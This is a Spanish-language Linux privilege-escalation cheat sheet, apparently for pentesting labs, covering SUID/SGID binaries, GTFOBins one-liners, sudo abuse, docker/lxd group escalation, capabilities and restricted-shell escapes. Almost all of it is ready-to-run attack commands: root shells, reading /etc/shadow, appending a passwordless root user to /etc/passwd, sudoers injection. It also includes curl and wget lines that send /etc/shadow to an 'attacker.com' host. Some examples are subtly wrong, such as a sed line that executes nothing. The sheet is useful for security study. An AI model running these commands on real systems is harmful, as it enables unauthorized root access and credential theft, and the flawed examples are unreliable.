Skip to content

Escalación de Privilegios - Permisos SUID, Capabilities y Grupos Privilegiados

SUID (Set User ID)

¿Qué es? Binario que se ejecuta con permisos del propietario (usualmente root), no del usuario que lo ejecuta.

Identificar:

bash
# Buscar archivos SUID
find / -perm -4000 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

# Ls muestra SUID con "s" en permisos:
# -rwsr-xr-x  root  root  /usr/bin/sudo
#    ^-- este "s" indica SUID

Explotar:

bash
# 1. Encontrar binario SUID
find / -perm -4000 2>/dev/null | grep -E "bash|sh|cat|cp|chmod|chown"

# 2. Si es binario común (cat, cp, ls), intenta ruta relativa
# 3. Si es binario específico, buscar en GTFOBins

# Ejemplo: /usr/bin/find SUID
/usr/bin/find . -exec /bin/sh -p \;

# Ejemplo: /usr/bin/apt SUID  
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

# Ejemplo: /usr/bin/sed SUID
sed -e 's/^/id > \/tmp\/flag/' /etc/passwd

# Ejemplo: /usr/bin/perl SUID
perl -e 'exec "/bin/sh"'

SGID (Set Group ID)

¿Qué es? Archivo que se ejecuta con permisos del grupo propietario.

Identificar:

bash
find / -perm -2000 2>/dev/null
find / -perm -6000 2>/dev/null   # SUID + SGID

# Ls muestra SGID con "s" en grupo:
# -rwxr-sr-x  root  tty  /usr/bin/tty
#         ^-- este "s" indica SGID

Sticky Bit

¿Qué es? En directorios, solo el propietario puede borrar archivos.

Identificar:

bash
find / -perm -1000 2>/dev/null

# Ls muestra sticky bit con "t":
# drwxrwxrwt  root  root  /tmp
#           ^-- "t" indica sticky bit

GTFOBins - Binarios que Pueden Escalar Privilegios

Sitio: https://gtfobins.github.io

apt / apt-get

bash
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

bash

bash
bash -p
bash -p -i

cat

bash
cat /etc/shadow

chmod

bash
chmod u+s /bin/bash
/bin/bash -p

chown

bash
chown root:root /tmp/shell

cp

bash
cp /bin/bash /tmp/bash
cp /etc/shadow /tmp/shadow

curl

bash
curl file:///etc/passwd
curl -F file=@/etc/shadow http://attacker.com/upload

dd

bash
dd if=/etc/shadow of=/tmp/shadow

docker

bash
docker run -v /:/host -it alpine chroot /host /bin/bash

env

bash
env -i HOME=$HOME /bin/bash -p

find

bash
find . -exec /bin/sh -p \;
find . -exec /bin/bash -p \;
find . -type f -exec chmod u+s {} \;

git

bash
git help config
!/bin/sh

grep

bash
grep -r password /root

less / more

bash
less /etc/shadow
!/bin/sh

ls

bash
ls -la /root

man

bash
man ls
!/bin/sh

nano / vim / vi

bash
nano /etc/shadow
# En editor: Ctrl+R Ctrl+X
# Escribir: /bin/sh
# Ejecutar

vim /etc/shadow
:!bash

:e /etc/shadow

nmap

bash
# Versión vieja con modo interactivo
nmap --interactive
nmap> !sh

openssl

bash
openssl enc -in /etc/shadow

perl

bash
perl -e 'exec "/bin/sh"'
perl -e 'system "/bin/bash"'

php

bash
php -r 'system("/bin/bash");'

python / python3

bash
python -c 'import os; os.system("/bin/bash")'
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

ruby

bash
ruby -e 'system("/bin/bash")'

sed

bash
sed -e 's/^/exec \/bin\/sh/' /etc/passwd
sed -e 's/^/id/' /etc/passwd

sh / bash

bash
/bin/sh -p
/bin/bash -p

sort

bash
sort /etc/shadow

sqlite3

bash
sqlite3
sqlite> .system /bin/sh

ssh-keygen

bash
ssh-keygen -D /lib64/libc.so.6

sudo

bash
# Si tienes permisos limitados
sudo -l
# User usuario may run: /usr/bin/find
# Entonces:
sudo /usr/bin/find . -exec /bin/sh \;

tee

bash
echo 'usuario ALL=(ALL) NOPASSWD:ALL' | sudo tee /etc/sudoers.d/usuario

tmux / screen

bash
tmux new -s session
# Luego desde otra sesión:
tmux attach -t session

unzip

bash
unzip -l /tmp/archive.zip

vi / vim

bash
:set shell=/bin/bash
:shell

wget

bash
wget --post-file=/etc/shadow http://attacker.com/
wget -O- file:///etc/passwd

whois

bash
whois
> !sh

Sudo Rights Abuse

Ver qué puedes ejecutar como sudo:

bash
sudo -l

Ejemplo vulnerables:

Perismo sudo en gcc

c

sudo gcc -wrapper /bin/sh,-s /dev/null

Sudo sin contraseña

bash
# Si output muestra:
# (root) NOPASSWD: /usr/bin/find

# Entonces ejecuta directamente:
sudo /usr/bin/find . -exec /bin/sh \;

Sudo con comando específico

bash
# Si tienes:
# (root) /usr/bin/python3

# Buscar en GTFOBins qué puedes hacer con python3
sudo python3 -c 'import os; os.system("/bin/bash")'

Sudo con comodín

bash
# Si tienes:
# (root) /usr/bin/apt-get *

# Entonces cualquier comando después de apt-get:
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

Sudo con ALL

bash
# Si tienes:
# (root) ALL

# Acceso total sin restricciones
sudo -i
sudo su
sudo /bin/bash

Privileged Groups

Grupo sudo

bash
# Verificar si estás en el grupo
id | grep sudo

# Si sí, normalmente tienes acceso a comandos específicos
sudo -l

Grupo admin (Debian/Ubuntu)

bash
id | grep admin

Grupo wheel (RedHat/CentOS)

bash
id | grep wheel

Grupo adm (Log readers)

bash
id | grep adm

# Puedes leer logs sensibles
cat /var/log/auth.log
grep "password" /var/log/auth.log

Grupo docker

CRÍTICO - Escalada a root:

bash
# Si estás en el grupo docker
id | grep docker

# Entonces puedes crear contenedor con acceso a root filesystem
docker run -v /:/host -it alpine chroot /host /bin/bash

# O más directo:
docker run --rm -it -v /:/host ubuntu chroot /host /bin/bash

# O montar socket de docker:
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu /bin/bash

Grupo lxd / lxc

Escalada a root en contenedores:

bash
id | grep lxd

# Descargar imagen Alpine
wget https://github.com/saghul/lxd-alpine-builder/releases/download/v0.3/alpine-v3.13-x86_64-20210218_0139.tar.gz

# O crear:
lxc image import alpine-*.tar.gz --alias alpine
lxc init alpine container -c security.privileged=true
lxc config device add container root disk source=/ path=/host
lxc start container
lxc exec container -- /bin/bash
# Ahora estás en /host como root

Grupo disk

bash
id | grep disk

# Acceso directo a discos:
fdisk -l
dd if=/dev/sda1 of=/tmp/backup.img

Grupo video

bash
id | grep video

# Acceso a framebuffer
cat /dev/fb0

Grupo audio

bash
id | grep audio

Grupo cdrom

bash
id | grep cdrom

Capabilities

¿Qué son? Permisos granulares que se asignan a binarios específicos para darles poderes administrativos puntuales, sin necesidad de SUID completo ni de correr como root. Por ejemplo, en vez de darle todos los privilegios de root a ping, solo se le da cap_net_raw para que pueda abrir sockets de red.

Diferencia con SUID:

  • SUID → el binario corre con el UID del dueño del archivo (normalmente root). Es todo o nada.
  • Capabilities → el binario recibe solo el permiso específico que necesita. Más granular.
  • Ambos son peligrosos si están mal configurados — un binario con cap_setuid es tan peligroso como uno con SUID.

Buscar capabilities

bash
# Con ruta completa — getcap está en /usr/sbin que no siempre está en el PATH de usuarios normales
/usr/sbin/getcap -r / 2>/dev/null

# Si no sabes dónde está getcap
find / -name "getcap" 2>/dev/null

# Una vez que lo encuentras, úsalo con ruta completa
/usr/sbin/getcap -r / 2>/dev/null
/sbin/getcap -r / 2>/dev/null

# Listar capability de un binario específico
/usr/sbin/getcap /usr/bin/python3
/usr/sbin/getcap /usr/bin/perl
/usr/sbin/getcap /usr/bin/ruby

Por qué getcap sin ruta falla para usuarios normales: los binarios en /sbin/ y /usr/sbin/ no están en el PATH por defecto de usuarios sin privilegios — son directorios pensados para administración del sistema. El binario existe pero el shell no lo encuentra sin la ruta completa.

Leer el output:

/usr/bin/perl = cap_setuid+ep
#               ^^^^^^^^^^      capability asignada
#                         ^     e = effective  (activa al ejecutar el binario)
#                          ^    p = permitted  (el binario puede usarla)
#
# Si solo tiene +p sin +e → no se activa automáticamente, menos peligroso
# Si tiene +ep → activa y permitida → explotable directamente

Capabilities peligrosas

bash
# cap_setuid       → puede cambiar su UID a 0 (root) — la más crítica para privesc
# cap_setgid       → puede cambiar su GID a cualquier grupo
# cap_dac_override → ignora los permisos de lectura/escritura/ejecución de archivos
# cap_sys_admin    → equivalente casi completo a root — montaje, namespaces, etc
# cap_sys_chroot   → puede llamar a chroot() — útil para escapar jaulas
# cap_net_raw      → acceso directo a paquetes de red — captura tráfico
# cap_net_bind_service → puede bindear puertos por debajo de 1024 sin ser root

Explotar capabilities

cap_setuid con python3:

bash
# Verifica primero
/usr/sbin/getcap /usr/bin/python3

# Explotar
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

cap_setuid con perl:

bash
# Verifica primero
/usr/sbin/getcap /usr/bin/perl

# Explotar — forma correcta con POSIX
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# Forma alternativa
/usr/bin/perl -e 'use POSIX; setuid(0); exec "/bin/bash";'

cap_setuid con ruby:

bash
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'

cap_setuid con php:

bash
/usr/bin/php -r "posix_setuid(0); system('/bin/bash');"

cap_dac_override con python3 — leer /etc/shadow directamente:

bash
# Si no puedes ejecutar bash como root pero puedes leer cualquier archivo
/usr/bin/python3 -c 'print(open("/etc/shadow").read())'

# O escribir tu propia entrada en /etc/passwd
/usr/bin/python3 -c '
data = open("/etc/passwd").read()
data += "hacker::0:0::/root:/bin/bash\n"
open("/etc/passwd","w").write(data)
'
su hacker

cap_net_raw — capturar tráfico de red:

bash
# El binario puede capturar aunque no seas root
tcpdump -i <INTERFAZ> -w /tmp/captura.pcap

Verificar que funcionó

bash
whoami        # debe decir root
id            # uid=0(root)

Agregar capabilities (como root — para simular el lab)

bash
# Copiar bash a /tmp y darle cap_setuid
cp /bin/bash /tmp/bash
setcap cap_setuid+ep /tmp/bash

# Usar
/tmp/bash -p

# Verificar que la tiene
/usr/sbin/getcap /tmp/bash

# Quitar la capability
setcap -r /tmp/bash

GTFOBins para capabilities

Cuando encuentras un binario con capability peligrosa, búscalo en:

https://gtfobins.github.io/

Filtra por Capabilities en la barra lateral — cada binario tiene su sección específica con el one-liner exacto.


Escaping Restricted Shells

¿Qué es un restricted shell? Un shell con comandos limitados — no puedes ejecutar binarios con ruta absoluta, no puedes cambiar variables de entorno como PATH, no puedes redirigir output, y ciertos comandos están bloqueados. Los más comunes son rbash (restricted bash) y jailkit.

Cómo saber si estás en uno:

bash
echo $SHELL          # puede decir rbash o jsh
echo $PATH           # PATH muy limitado, ej: /home/usuario/bin
cd /tmp              # puede dar error "cd: restricted"
/bin/bash            # puede dar error "command not found" o "restricted"

Intentar escapar directamente

bash
# Cambiar de shell — a veces simplemente funciona
bash
sh
/bin/bash
/bin/sh
dash
zsh
ksh

Escapar con binarios disponibles

bash
# python
/usr/bin/python3 -c 'import os; os.system("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

# perl
perl -e 'system("/bin/bash")'
perl -e 'exec "/bin/bash"'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'

# ruby
ruby -e 'system("/bin/bash")'
ruby -e 'exec "/bin/bash"'

# php
php -r 'system("/bin/bash");'
php -r 'exec("/bin/bash");'

# awk
awk 'BEGIN {system("/bin/bash")}'

# find
find / -name "*.txt" -exec /bin/bash \; -quit

# vim — si está disponible
vim -c ':!/bin/bash'
vim -c ':set shell=/bin/bash' -c ':shell'

# less o man — desde dentro del pager
# escribe: !/bin/bash

# nmap (versiones antiguas)
nmap --interactive
# luego: !sh

# ed
ed
!/bin/bash

Escapar manipulando variables de entorno

bash
# Si puedes modificar PATH
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Si puedes modificar SHELL
export SHELL=/bin/bash

# Si puedes modificar HOME (algunos rbash leen configuración de HOME)
export HOME=/tmp
bash

Escapar con redirección y subshells

bash
# Subshell con $()
$(echo /bin/bash)
$(/bin/sh)

# Redirección — si el rbash bloquea > pero no |
echo "id" | bash

# Comandos encadenados
python3 -c 'import subprocess; subprocess.call(["/bin/bash"])'

# Usando ed
echo '!/bin/sh' | ed

Escapar desde SSH

bash
# Al conectar, forzar la shell antes de que rbash cargue
ssh <USER>@<TARGET> -t "/bin/bash"
ssh <USER>@<TARGET> -t "bash --noprofile"
ssh <USER>@<TARGET> "bash --norc"

# O con pseudoterminal
ssh <USER>@<TARGET> -t bash

Mejorar la shell una vez escapado

bash
# Obtener una TTY completa
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Luego en background: Ctrl+Z
stty raw -echo; fg

# Ajustar tamaño del terminal
export TERM=xterm
stty rows 50 columns 200

Tabla resumen — qué probar primero

SituaciónQué probar primero
rbash genéricobash, luego python3 -c 'import os; os.system("/bin/bash")'
SSH con rbashssh user@target -t bash al conectar
Solo tienes vim:!/bin/bash desde dentro
Solo tienes awkawk 'BEGIN {system("/bin/bash")}'
PATH muy limitadoexport PATH=... con rutas completas
Todo bloqueadoBusca el binario en GTFOBins → sección "Shell"